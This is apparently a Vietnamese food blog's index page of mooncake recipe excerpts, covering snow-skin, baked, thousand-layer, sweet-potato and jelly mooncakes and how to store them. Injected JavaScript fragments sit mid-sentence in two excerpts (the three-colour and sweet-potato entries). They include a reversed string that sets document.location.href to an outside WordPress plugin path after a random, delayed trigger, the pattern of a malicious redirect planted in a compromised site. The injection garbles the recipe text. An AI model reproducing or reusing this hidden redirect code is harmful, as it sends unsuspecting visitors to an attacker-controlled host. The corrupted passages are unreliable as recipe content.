Ngày Trung Thu sẽ ý nghĩa và vui hơn rất nhiều nếu bạn tự tay làm một chiếc bánh mời cả nhà.

Ngày Trung Thu sẽ ý nghĩa và vui hơn rất nhiều nếu bạn tự tay làm một chiếc bánh mời cả nhà. Nguyên liệu Phần vỏ: 100g sữa béo hoặc sữa tươi, 240g nước, 500g đường xay, 340g bột nếp, 60g shortening (làm từ mỡ cừu, gần giống bơ), màu hồng thực phẩm (vừa đủ)… Continue reading Ngày Trung Thu sẽ ý nghĩa và vui hơn rất nhiều nếu bạn tự tay làm một chiếc bánh mời cả nhà.

Cách làm bánh trung thu 3 màu (ngô, cacao, trà xanh)

Bạn đã thử bánh trung thu 3 trong một (ngô, caocao, trà xanh) bao giờ chưa, món bánh trung thu này ngon và lạ miệng, hãy cùng thử tài handom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() *… Continue reading Cách làm bánh trung thu 3 màu (ngô, cacao, trà xanh)

Cách làm bánh trung thu ngàn lớp cho mùa trung thu

Trước khi viết bài này mình đã làm tất cả là 4 mẻ bánh trung thu ngàn lớp này rồi. Rút ra khá nhiều kinh nghiệm nên hôm nay mới dám viết lại để bạn nào cần thì tham khảo nhé. Bánh này thật ra là một dạng khác của bột ngàn lớp (puff pastry).… Continue reading Cách làm bánh trung thu ngàn lớp cho mùa trung thu

Cách làm bánh dẻo trung thu thập cẩm ngon

Khi làm bánh dẻo, bạn không cần chuẩn bị lò nướng, mà cần sự kiên nhẫn cũng như cách pha trộn nguyên liệu chính xác. Bánh dẻo là món bánh không thể thiếu trong dịp tết Trung thu. Ảnh: Linh Phạm. Nguyên liệu làm vỏ bánh: – 1 kg đường trắng – 1 lít nước lọc… Continue reading Cách làm bánh dẻo trung thu thập cẩm ngon

Cách làm bánh nướng trung thu thật ngon

Bánh nướng trung thu có cách làm cầu kỳ hơn bánh dẻo, tuy nhiên, nếu kiên nhẫn, bạn sẽ làm được những chiếc bánh đặc biệt dành cho gia đình, bạn bè. Bạn có thể làm bánh nướng với nhiều loại nhân, tùy theo sở thích của gia đình. Nguyên liệu làm vỏ bánh: –… Continue reading Cách làm bánh nướng trung thu thật ngon

Cách làm bánh dẻo bột lọc trung thu

Bánh dẻo là một trong những loại bánh truyền thống vào Tết Trung thu, chúng ta cùng thử làm bánh dẻo trung thu qua những bước đơn giản sau nhé Chuẩn bị những nguyên liệu sau: Vỏ bánh: – 100g bột gạo – 50g bột ngô (corn starch) – 15g đường – 1g muối Nhân… Continue reading Cách làm bánh dẻo bột lọc trung thu

Tự làm bánh dẻo lạnh hai màu đón Trung thu

Với nguyên liệu và công thức đơn giản, bạn có thể tự tay làm những chiếc bánh dẻo xinh xắn, đẹp mắt tặng người thân trong dịp Trung thu. * Nguyên liệu (làm được khoảng 25 – 30 chiếc bánh dẻo nhỏ có trọng lượng 50g) – 200g bột nếp rang. – 200g đường bột. –… Continue reading Tự làm bánh dẻo lạnh hai màu đón Trung thu

Cách làm bánh trung thu nhân khoai lang

Một mùa Trung thu nữa đã gần tới, hãy tự tay chuẩn bị những mẻ bánh trung thu ngon lành lại an toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toàn vệ sinh cho cả nhà và những người thân nhé. Nguyên liệu: Phần nhân + 2,2kg khoai lang + 1,5 thanh bơ, ở nhiệt độ phòng… Continue reading Cách làm bánh trung thu nhân khoai lang

Cách bảo quản bánh trung thu lâu và ngon

Sắp đến Trung Thu rồi, vì thế ngay từ bây giờ mình cũng chia sẻ kinh nghiệm bảo quản bánh trung thu để có thể giữ bánh được lâu, nhất là đối với những loại bánh tươi như bánh trung thu Givral, bánh trung thu Brodard không có chất bảo quản nên thời hạn sử dụng bánh không… Continue reading Cách bảo quản bánh trung thu lâu và ngon

Cách làm bánh trung thu (thạch) rau câu

Trung thu đến rồi! Một món (thạch) rau câu mang dáng hình của bánh trung thu nhưng mát lạnh. Hãy trổ tài để tăng thêm hương vị cho mùa trung thu này nhé. Nguyên liệu: – Nước – Đường – Bột agar – Và còn cả 1 chiếc khuôn bánh trung thu với cả 1… Continue reading Cách làm bánh trung thu (thạch) rau câu